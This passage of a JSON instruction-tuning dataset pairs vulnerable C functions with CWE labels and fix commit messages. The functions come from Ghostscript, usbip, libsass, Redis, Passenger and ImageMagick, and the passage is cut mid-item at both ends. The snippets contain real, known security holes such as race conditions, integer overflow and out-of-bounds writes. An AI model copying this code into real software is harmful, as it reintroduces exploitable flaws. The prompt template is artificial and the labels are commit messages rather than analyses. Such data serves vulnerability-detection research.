i_ctx_p->LockFilePermissions, imemory);\n if (code < 0) {\n if (code == gs_error_undefinedfilename) {\n make_bool(op, 0);\n code = 0;\n }\n return code;\n }\n code = gs_terminate_file_name(&pname, imemory, \"status\");\n if (code < 0)\n return code;\n code = (*pname.iodev->procs.file_status)(pname.iodev,\n pname.fname, &fstat);\n switch (code) {\n case 0:\n check_ostack(4);\n /*\n * Check to make sure that the file size fits into\n * a PostScript integer. (On some systems, long is\n * 32 bits, but file sizes are 64 bits.)\n */\n push(4);\n make_int(op - 4, stat_blocks(&fstat));\n make_int(op - 3, fstat.st_size);\n /*\n * We can't check the value simply by using ==,\n * because signed/unsigned == does the wrong thing.\n * Instead, since integer assignment only keeps the\n * bottom bits, we convert the values to double\n * and then test for equality. This handles all\n * cases of signed/unsigned or width mismatch.\n */\n if ((double)op[-4].value.intval !=\n (double)stat_blocks(&fstat) ||\n (double)op[-3].value.intval !=\n (double)fstat.st_size\n )\n return_error(gs_error_limitcheck);\n make_int(op - 2, fstat.st_mtime);\n make_int(op - 1, fstat.st_ctime);\n make_bool(op, 1);\n break;\n case gs_error_undefinedfilename:\n make_bool(op, 0);\n code = 0;\n }\n gs_free_file_name(&pname, \"status\");\n return code;\n }\n default:\n return_op_typecheck(op);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'Bug 697193: status operator honour SAFER option'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void stub_device_rebind(void)\n{\n#if IS_MODULE(CONFIG_USBIP_HOST)\n\tstruct bus_id_priv *busid_priv;\n\tint i;\n\n\t/* update status to STUB_BUSID_OTHER so probe ignores the device */\n\tspin_lock(&busid_table_lock);\n\tfor (i = 0; i < MAX_BUSID; i++) {\n\t\tif (busid_table[i].name[0] &&\n\t\t busid_table[i].shutdown_busid) {\n\t\t\tbusid_priv = &(busid_table[i]);\n\t\t\tbusid_priv->status = STUB_BUSID_OTHER;\n\t\t}\n\t}\n\tspin_unlock(&busid_table_lock);\n\n\t/* now run rebind */\n\tfor (i = 0; i < MAX_BUSID; i++) {\n\t\tif (busid_table[i].name[0] &&\n\t\t busid_table[i].shutdown_busid) {\n\t\t\tbusid_priv = &(busid_table[i]);\n\t\t\tdo_rebind(busid_table[i].name, busid_priv);\n\t\t}\n\t}\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'usbip: usbip_host: fix NULL-ptr deref and use-after-free errors\n\nusbip_host updates device status without holding lock from stub probe,\ndisconnect and rebind code paths. When multiple requests to import a\ndevice are received, these unprotected code paths step all over each\nother and drive fails with NULL-ptr deref and use-after-free errors.\n\nThe driver uses a table lock to protect the busid array for adding and\ndeleting busids to the table. However, the probe, disconnect and rebind\npaths get the busid table entry and update the status without holding\nthe busid table lock. Add a new finer grain lock to protect the busid\nentry. This new lock will be held to search and update the busid entry\nfields from get_busid_idx(), add_match_busid() and del_match_busid().\n\nmatch_busid_show() does the same to access the busid entry fields.\n\nget_busid_priv() changed to return the pointer to the busid entry holding\nthe busid lock. stub_probe(), stub_disconnect() and stub_device_rebind()\ncall put_busid_priv() to release the busid lock before returning. This\nchanges fixes the unprotected code paths eliminating the race conditions\nin updating the busid entries.\n\nReported-by: Jakub Jirasek\nSigned-off-by: Shuah Khan (Samsung OSG) \nCc: stable \nSigned-off-by: Greg Kroah-Hartman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: Statement_Ptr Expand::operator()(Debug_Ptr d)\n {\n // eval handles this too, because warnings may occur in functions\n d->perform(&eval);\n return 0;\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fix segfault on empty custom properties\n\nOriginally reported in sass/sassc#225\n\nFixes sass/sassc#225\nSpec sass/sass-spec#1249'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void controloptions (lua_State *L, int opt, const char **fmt,\n Header *h) {\n switch (opt) {\n case ' ': return; /* ignore white spaces */\n case '>': h->endian = BIG; return;\n case '<': h->endian = LITTLE; return;\n case '!': {\n int a = getnum(L, fmt, MAXALIGN);\n if (!isp2(a))\n luaL_error(L, \"alignment %d is not a power of 2\", a);\n h->align = a;\n return;\n }\n default: {\n const char *msg = lua_pushfstring(L, \"invalid format option '%c'\", opt);\n luaL_argerror(L, 1, msg);\n }\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 'CWE-787'], 'message': 'Security: update Lua struct package for security.\n\nDuring an auditing Apple found that the \"struct\" Lua package\nwe ship with Redis (http://www.inf.puc-rio.br/~roberto/struct/) contains\na security problem. A bound-checking statement fails because of integer\noverflow. The bug exists since we initially integrated this package with\nLua, when scripting was introduced, so every version of Redis with\nEVAL/EVALSHA capabilities exposed is affected.\n\nInstead of just fixing the bug, the library was updated to the latest\nversion shipped by the author.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int mp_unpack_full(lua_State *L, int limit, int offset) {\n size_t len;\n const char *s;\n mp_cur c;\n int cnt; /* Number of objects unpacked */\n int decode_all = (!limit && !offset);\n\n s = luaL_checklstring(L,1,&len); /* if no match, exits */\n\n if (offset < 0 || limit < 0) /* requesting negative off or lim is invalid */\n return luaL_error(L,\n \"Invalid request to unpack with offset of %d and limit of %d.\",\n offset, len);\n else if (offset > len)\n return luaL_error(L,\n \"Start offset %d greater than input length %d.\", offset, len);\n\n if (decode_all) limit = INT_MAX;\n\n mp_cur_init(&c,(const unsigned char *)s+offset,len-offset);\n\n /* We loop over the decode because this could be a stream\n * of multiple top-level values serialized together */\n for(cnt = 0; c.left > 0 && cnt < limit; cnt++) {\n mp_decode_to_lua_type(L,&c);\n\n if (c.err == MP_CUR_ERROR_EOF) {\n return luaL_error(L,\"Missing bytes in input.\");\n } else if (c.err == MP_CUR_ERROR_BADFMT) {\n return luaL_error(L,\"Bad data format in input.\");\n }\n }\n\n if (!decode_all) {\n /* c->left is the remaining size of the input buffer.\n * subtract the entire buffer size from the unprocessed size\n * to get our next start offset */\n int offset = len - c.left;\n /* Return offset -1 when we have have processed the entire buffer. */\n lua_pushinteger(L, c.left == 0 ? -1 : offset);\n /* Results are returned with the arg elements still\n * in place. Lua takes care of only returning\n * elements above the args for us.\n * In this case, we have one arg on the stack\n * for this function, so we insert our first return\n * value at position 2. */\n lua_insert(L, 2);\n cnt += 1; /* increase return count by one to make room for offset */\n }\n\n return cnt;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Security: more cmsgpack fixes by @soloestoy.\n\n@soloestoy sent me this additional fixes, after searching for similar\nproblems to the one reported in mp_pack(). I'm committing the changes\nbecause it was not possible during to make a public PR to protect Redis\nusers and give Redis providers some time to patch their systems.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: create_file(ngx_cycle_t *cycle, const u_char *filename, const u_char *contents, size_t len) {\n FILE *f;\n int ret;\n size_t total_written = 0, written;\n\n f = fopen((const char *) filename, \"w\");\n if (f != NULL) {\n /* We must do something with these return values because\n * otherwise on some platforms it will cause a compiler\n * warning.\n */\n do {\n ret = fchmod(fileno(f), S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);\n } while (ret == -1 && errno == EINTR);\n do {\n written = fwrite(contents + total_written, 1,\n len - total_written, f);\n total_written += written;\n } while (total_written < len);\n fclose(f);\n return NGX_OK;\n } else {\n ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,\n \"could not create %s\", filename);\n return NGX_ERROR;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'Fix privilege escalation in the Nginx module\n\nThe vulnerability is exploitable with a non-standard\npassenger_instance_registry_dir, via a race condition where after a file\nwas created, it was chowned via the path not the file descriptor.\n\nThe chown entered the code in 2010, so Passenger 4 + 5 all affected.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadBMPImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n BMPInfo\n bmp_info;\n\n Image\n *image;\n\n IndexPacket\n index;\n\n MagickBooleanType\n status;\n\n MagickOffsetType\n offset,\n start_position;\n\n MemoryInfo\n *pixel_info;\n\n register IndexPacket\n *indexes;\n\n register PixelPacket\n *q;\n\n register ssize_t\n i,\n x;\n\n register unsigned char\n *p;\n\n size_t\n bit,\n bytes_per_line,\n length;\n\n ssize_t\n count,\n y;\n\n unsigned char\n magick[12],\n *pixels;\n\n unsigned int\n blue,\n green,\n offset_bits,\n red;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Determine if this a BMP file.\n */\n (void) memset(&bmp_info,0,sizeof(bmp_info));\n bmp_info.ba_offset=0;\n start_position=0;\n offset_bits=0;\n count=ReadBlob(image,2,magick);\n if (count != 2)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n do\n {\n LongPixelPacket\n shift;\n\n PixelPacket\n quantum_bits;\n\n /*\n Verify BMP identifier.\n */\n if (bmp_info.ba_offset == 0)\n start_position=TellBlob(image)-2;\n bmp_info.ba_offset=0;\n while (LocaleNCompare((char *) magick,\"BA\",2) == 0)\n {\n bmp_info.file_size=ReadBlobLSBLong(image);\n bmp_info.ba_offset=ReadBlobLSBLong(image);\n bmp_info.offset_bits=ReadBlobLSBLong(image);\n count=ReadBlob(image,2,magick);\n if (count != 2)\n break;\n }\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\" Magick: %c%c\",\n magick[0],magick[1]);\n if ((count != 2) || ((LocaleNCompare((char *) magick,\"BM\",2) != 0) &&\n (LocaleNCompare((char *) magick,\"CI\",2) != 0)))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n bmp_info.file_size=ReadBlobLSBLong(image);\n (void) ReadBlobLSBLong(image);\n\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" File_size in header: %u bytes\",bmp_info.file_size);\n\n bmp_info.offset_bits=ReadBlobLSBLong(image);\n bmp_info.size=ReadBlobLSBLong(image);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\" BMP size: %u\",\n bmp_info.size);\n if (bmp_info.size == 12)\n {\n /*\n OS/2 BMP image file.\n */\n (void) CopyMagickString(image->magick,\"BMP2\",MaxTextExtent);\n bmp_info.width=(ssize_t) ((short) ReadBlobLSBShort(image));\n bmp_info.height=(ssize_t) ((short) ReadBlobLSBShort(image));\n bmp_info.planes=ReadBlobLSBShort(image);\n bmp_info.bits_per_pixel=ReadBlobLSBShort(image);\n bmp_info.x_pixels=0;\n bmp_info.y_pixels=0;\n bmp_info.number_colors=0;\n bmp_info.compression=BI_RGB;\n bmp_info.image_size=0;\n bmp_info.alpha_mask=0;\n if (image->debug != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Format: OS/2 Bitmap\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Geometry: %.20gx%.20g\",(double) bmp_info.width,(double)\n bmp_info.height);\n }\n }\n else\n {\n /*\n Microsoft Windows BMP image file.\n */\n if (bmp_info.size < 40)\n ThrowReaderException(CorruptImageError,\"NonOS2HeaderSizeError\");\n bmp_info.width=(ssize_t) ReadBlobLSBSignedLong(image);\n bmp_info.height=(ssize_t) ReadBlobLSBSignedLong(image);\n bmp_info.planes=ReadBlobLSBShort(image);\n bmp_info.bits_per_pixel=ReadBlobLSBShort(image);\n bmp_info.compression=ReadBlobLSBLong(image);\n bmp_info.image_size=ReadBlobLSBLong(image);\n bmp_info.x_pixels=ReadBlobLSBLong(image);\n bmp_info.y_pixels=ReadBlobLSBLong(image);\n bmp_info.number_colors=ReadBlobLSBLong(image);\n bmp_info.colors_important=ReadBlobLSBLong(image);\n if (image->debug != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Format: MS Windows bitmap\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Geometry: %.20gx%.20g\",(double) bmp_info.width,(double)\n bmp_info.height);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Bits per pixel: %.20g\",(double) bmp_info.bits_per_pixel);\n switch (bmp_info.compression)\n {\n case BI_RGB:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_RGB\");\n break;\n }\n case BI_RLE4:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_RLE4\");\n break;\n }\n case BI_RLE8:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_RLE8\");\n break;\n }\n case BI_BITFIELDS:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_BITFIELDS\");\n break;\n }\n case BI_PNG:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_PNG\");\n break;\n }\n case BI_JPEG:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_JPEG\");\n break;\n }\n default:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: UNKNOWN (%u)\",bmp_info.compression);\n }\n }\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Number of colors: %u\",bmp_info.number_colors);\n }\n bmp_info.red_mask=ReadBlobLSBLong(image);\n bmp_info.green_mask=ReadBlobLSBLong(image);\n bmp_info.blue_mask=ReadBlobLSBLong(image);\n if (bmp_info.size > 40)\n {\n double\n gamma;\n\n /*\n Read color management information.\n */\n bmp_info.alpha_mask=ReadBlobLSBLong(image);\n bmp_info.colorspace=ReadBlobLSBSignedLong(image);\n /*\n Decode 2^30 fixed point formatted CIE primaries.\n */\n# define BMP_DENOM ((double) 0x40000000)\n bmp_info.red_primary.x=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.red_primary.y=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.red_primary.z=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.green_primary.x=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.green_primary.y=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.green_primary.z=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.blue_primary.x=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.blue_primary.y=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n bmp_info.blue_primary.z=(double) ReadBlobLSBLong(image)/BMP_DENOM;\n\n gamma=bmp_info.red_primary.x+bmp_info.red_primary.y+\n bmp_info.red_primary.z;\n gamma=PerceptibleReciprocal(gamma);\n bmp_info.red_primary.x*=gamma;\n bmp_info.red_primary.y*=gamma;\n image->chromaticity.red_primary.x=bmp_info.red_primary.x;\n image->chromaticity.red_primary.y=bmp_info.red_primary.y;\n\n gamma=bmp_info.green_primary.x+bmp_info.green_primary.y+\n bmp_info.green_primary.z;\n gamma=PerceptibleReciprocal(gamma);\n bmp_info.green_primary.x*=gamma;\n bmp_info.green_primary.y*=gamma;\n image->chromaticity.green_primary.x=bmp_info.green_primary.x;\n image->chromaticity.green_primary.y=bmp_info.green_primary.y;\n\n gamma=bmp_info.blue_primary.x+bmp_info.blue_primary.y+\n bmp_info.blue_primary.z;\n gamma=PerceptibleReciprocal(gamma);\n bmp_info.blue_primary.x*=gamma;\n bmp_info.blue_primary.y*=gamma;\n image->chromaticity.blue_primary.x=bmp_info.blue_primary.x;\n image->chromaticity.blue_primary.y=bmp_info.blue_primary.y;\n\n /*\n Decode 16^16 fixed point formatted gamma_scales.\n */\n bmp_info.gamma_scale.x=(double) ReadBlobLSBLong(image)/0x10000;\n bmp_info.gamma_scale.y=(double) ReadBlobLSBLong(image)/0x10000;\n bmp_info.gamma_scale.z=(double) ReadBlobLSBLong(image)/0x10000;\n /*\n Compute a single gamma from the BMP 3-channel gamma.\n */\n image->gamma=(bmp_info.gamma_scale.x+bmp_info.gamma_scale.y+\n bmp_info.gamma_scale.z)/3.0;\n }\n else\n (void) CopyMagickString(image->magick,\"BMP3\",MaxTextExtent);\n\n if (bmp_info.size > 108)\n {\n size_t\n intent;\n\n /*\n Read BMP Version 5 color management information.\n */\n intent=ReadBlobLSBLong(image);\n switch ((int) intent)\n {\n case LCS_GM_BUSINESS:\n {\n image->rendering_intent=SaturationIntent;\n break;\n }\n case LCS_GM_GRAPHICS:\n {\n image->rendering_intent=RelativeIntent;\n break;\n }\n case LCS_GM_IMAGES:\n {\n image->rendering_intent=PerceptualIntent;\n break;\n }\n case LCS_GM_ABS_COLORIMETRIC:\n {\n image->rendering_intent=AbsoluteIntent;\n break;\n }\n }\n (void) ReadBlobLSBLong(image); /* Profile data */\n (void) ReadBlobLSBLong(image); /* Profile size */\n (void) ReadBlobLSBLong(image); /* Reserved byte */\n }\n }\n if ((MagickSizeType) bmp_info.file_size > GetBlobSize(image))\n (void) ThrowMagickException(exception,GetMagickModule(),CorruptImageError,\n \"LengthAndFilesizeDoNotMatch\",\"`%s'\",image->filename);\n else\n if ((MagickSizeType) bmp_info.file_size < GetBlobSize(image))\n (void) ThrowMagickException(exception,GetMagickModule(),\n CorruptImageWarning,\"LengthAndFilesizeDoNotMatch\",\"`%s'\",\n image->filename);\n if (bmp_info.width <= 0)\n ThrowReaderException(CorruptImageError,\"NegativeOrZeroImageSize\");\n if (bmp_info.height == 0)\n ThrowReaderException(CorruptImageError,\"NegativeOrZeroImageSize\");\n if (bmp_info.planes != 1)\n ThrowReaderException(CorruptImageError,\"StaticPlanesValueNotEqualToOne\");\n if ((bmp_info.bits_per_pixel != 1) && (bmp_info.bits_per_pixel != 4) &&\n (bmp_info.bits_per_pixel != 8) && (bmp_info.bits_per_pixel != 16) &&\n (bmp_info.bits_per_pixel != 24) && (bmp_info.bits_per_pixel != 32))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n if (bmp_info.bits_per_pixel < 16 &&\n bmp_info.number_colors > (1U << bmp_info.bits_per_pixel))\n ThrowReaderException(CorruptImageError,\"UnrecognizedNumberOfColors\");\n if ((bmp_info.compression == 1) && (bmp_info.bits_per_pixel != 8))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n if ((bmp_info.compression == 2) && (bmp_info.bits_per_pixel != 4))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n if ((bmp_info.compression == 3) && (bmp_info.bits_per_pixel < 16))\n ThrowReaderException(CorruptImageError,\"UnrecognizedBitsPerPixel\");\n switch (bmp_info.compression)\n {\n case BI_RGB:\n image->compression=NoCompression;\n break;\n case BI_RLE8:\n case BI_RLE4:\n image->compression=RLECompression;\n break;\n case BI_BITFIELDS:\n break;\n case BI_JPEG:\n ThrowReaderException(CoderError,\"JPEGCompressNotSupported\");\n case BI_PNG:\n ThrowReaderException(CoderError,\"PNGCompressNotSupported\");\n default:\n ThrowReaderException(CorruptImageError,\"UnrecognizedImageCompression\");\n }\n image->columns=(size_t) MagickAbsoluteValue(bmp_info.width);\n image->rows=(size_t) MagickAbsoluteValue(bmp_info.height);\n image->depth=bmp_info.bits_per_pixel <= 8 ? bmp_info.bits_per_pixel : 8;\n image->matte=((bmp_info.alpha_mask != 0) &&\n (bmp_info.compression == BI_BITFIELDS)) ? MagickTrue : MagickFalse;\n if (bmp_info.bits_per_pixel < 16)\n {\n size_t\n one;\n\n image->storage_class=PseudoClass;\n image->colors=bmp_info.number_colors;\n one=1;\n if (image->colors == 0)\n image->colors=one << bmp_info.bits_per_pixel;\n }\n image->x_resolution=(double) bmp_info.x_pixels/100.0;\n image->y_resolution=(double) bmp_info.y_pixels/100.0;\n image->units=PixelsPerCentimeterResolution;\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n status=SetImageExtent(image,image->columns,image->rows);\n if (status == MagickFalse)\n {\n InheritException(exception,&image->exception);\n return(DestroyImageList(image));\n }\n if (image->storage_class == PseudoClass)\n {\n unsigned char\n *bmp_colormap;\n\n size_t\n packet_size;\n\n /*\n Read BMP raster colormap.\n */\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Reading colormap of %.20g colors\",(double) image->colors);\n if (AcquireImageColormap(image,image->colors) == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n bmp_colormap=(unsigned char *) AcquireQuantumMemory((size_t)\n image->colors,4*sizeof(*bmp_colormap));\n if (bmp_colormap == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n if ((bmp_info.size == 12) || (bmp_info.size == 64))\n packet_size=3;\n else\n packet_size=4;\n offset=SeekBlob(image,start_position+14+bmp_info.size,SEEK_SET);\n if (offset < 0)\n {\n bmp_colormap=(unsigned char *) RelinquishMagickMemory(bmp_colormap);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n count=ReadBlob(image,packet_size*image->colors,bmp_colormap);\n if (count != (ssize_t) (packet_size*image->colors))\n {\n bmp_colormap=(unsigned char *) RelinquishMagickMemory(bmp_colormap);\n ThrowReaderException(CorruptImageError,\n \"InsufficientImageDataInFile\");\n }\n p=bmp_colormap;\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n image->colormap[i].blue=ScaleCharToQuantum(*p++);\n image->colormap[i].green=ScaleCharToQuantum(*p++);\n image->colormap[i].red=ScaleCharToQuantum(*p++);\n if (packet_size == 4)\n p++;\n }\n bmp_colormap=(unsigned char *) RelinquishMagickMemory(bmp_colormap);\n }\n /*\n Read image data.\n */\n if (bmp_info.offset_bits == offset_bits)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n offset_bits=bmp_info.offset_bits;\n offset=SeekBlob(image,start_position+bmp_info.offset_bits,SEEK_SET);\n if (offset < 0)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (bmp_info.compression == BI_RLE4)\n bmp_info.bits_per_pixel<<=1;\n bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);\n length=(size_t) bytes_per_line*image->rows;\n if (((MagickSizeType) length/8) > GetBlobSize(image))\n ThrowReaderException(CorruptImageError,\"InsufficientImageDataInFile\");\n if ((bmp_info.compression == BI_RGB) ||\n (bmp_info.compression == BI_BITFIELDS))\n {\n pixel_info=AcquireVirtualMemory((size_t) image->rows,\n MagickMax(bytes_per_line,image->columns+256UL)*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Reading pixels (%.20g bytes)\",(double) length);\n count=ReadBlob(image,length,pixels);\n if (count != (ssize_t) length)\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"InsufficientImageDataInFile\");\n }\n }\n else\n {\n /*\n Convert run-length encoded raster pixels.\n */\n pixel_info=AcquireVirtualMemory((size_t) image->rows,\n MagickMax(bytes_per_line,image->columns+256UL)*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n status=DecodeImage(image,bmp_info.compression,pixels,\n image->columns*image->rows);\n if (status == MagickFalse)\n {\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\n \"UnableToRunlengthDecodeImage\");\n }\n }\n /*\n Convert BMP raster image to pixel packets.\n */\n if (bmp_info.compression == BI_RGB)\n {\n /*\n We should ignore the alpha value in BMP3 files but there have been\n reports about 32 bit files with alpha. We do a quick check to see if\n the alpha channel contains a value that is not zero (default value).\n If we find a non zero value we asume the program that wrote the file\n wants to use the alpha channel.\n */\n if ((image->matte == MagickFalse) && (bmp_info.size == 40) &&\n (bmp_info.bits_per_pixel == 32))\n {\n bytes_per_line=4*(image->columns);\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (*(p+3) != 0)\n {\n image->matte=MagickTrue;\n y=-1;\n break;\n }\n p+=4;\n }\n }\n }\n bmp_info.alpha_mask=image->matte != MagickFalse ? 0xff000000U : 0U;\n bmp_info.red_mask=0x00ff0000U;\n bmp_info.green_mask=0x0000ff00U;\n bmp_info.blue_mask=0x000000ffU;\n if (bmp_info.bits_per_pixel == 16)\n {\n /*\n RGB555.\n */\n bmp_info.red_mask=0x00007c00U;\n bmp_info.green_mask=0x000003e0U;\n bmp_info.blue_mask=0x0000001fU;\n }\n }\n (void) memset(&shift,0,sizeof(shift));\n (void) memset(&quantum_bits,0,sizeof(quantum_bits));\n if ((bmp_info.bits_per_pixel == 16) || (bmp_info.bits_per_pixel == 32))\n {\n register size_t\n sample;\n\n /*\n Get shift and quantum bits info from bitfield masks.\n */\n if (bmp_info.red_mask != 0)\n while (((bmp_info.red_mask << shift.red) & 0x80000000UL) == 0)\n {\n shift.red++;\n if (shift.red > 32U)\n break;\n }\n if (bmp_info.green_mask != 0)\n while (((bmp_info.green_mask << shift.green) & 0x80000000UL) == 0)\n {\n shift.green++;\n if (shift.green > 32U)\n break;\n }\n if (bmp_info.blue_mask != 0)\n while (((bmp_info.blue_mask << shift.blue) & 0x80000000UL) == 0)\n {\n shift.blue++;\n if (shift.blue > 32U)\n break;\n }\n if (bmp_info.alpha_mask != 0)\n while (((bmp_info.alpha_mask << shift.opacity) & 0x80000000UL) == 0)\n {\n shift.opacity++;\n if (shift.opacity > 32U)\n break;\n }\n sample=shift.red;\n while (((bmp_info.red_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample > 32U)\n break;\n }\n quantum_bits.red=ClampToQuantum((MagickRealType) sample-shift.red);\n sample=shift.green;\n while (((bmp_info.green_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample > 32U)\n break;\n }\n quantum_bits.green=ClampToQuantum((MagickRealType) sample-shift.green);\n sample=shift.blue;\n while (((bmp_info.blue_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample > 32U)\n break;\n }\n quantum_bits.blue=ClampToQuantum((MagickRealType) sample-shift.blue);\n sample=shift.opacity;\n while (((bmp_info.alpha_mask << sample) & 0x80000000UL) != 0)\n {\n sample++;\n if (sample > 32U)\n break;\n }\n quantum_bits.opacity=ClampToQuantum((MagickRealType) sample-\n shift.opacity);\n }\n switch (bmp_info.bits_per_pixel)\n {\n case 1:\n {\n /*\n Convert bitmap scanline.\n */\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n indexes=GetAuthenticIndexQueue(image);\n for (x=0; x < ((ssize_t) image->columns-7); x+=8)\n {\n for (bit=0; bit < 8; bit++)\n {\n index=(IndexPacket) (((*p) & (0x80 >> bit)) != 0 ? 0x01 : 0x00);\n SetPixelIndex(indexes+x+bit,index);\n q++;\n }\n p++;\n }\n if ((image->columns % 8) != 0)\n {\n for (bit=0; bit < (image->columns % 8); bit++)\n {\n index=(IndexPacket) (((*p) & (0x80 >> bit)) != 0 ? 0x01 : 0x00);\n SetPixelIndex(indexes+x+bit,index);\n }\n p++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n (image->rows-y),image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n (void) SyncImage(image);\n break;\n }\n case 4:\n {\n /*\n Convert PseudoColor scanline.\n */\n for (y=(ssize_t) image->rows-1; y >= 0; y--)\n {\n p=pixels+(image->rows-y-1)*bytes_per_line;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if 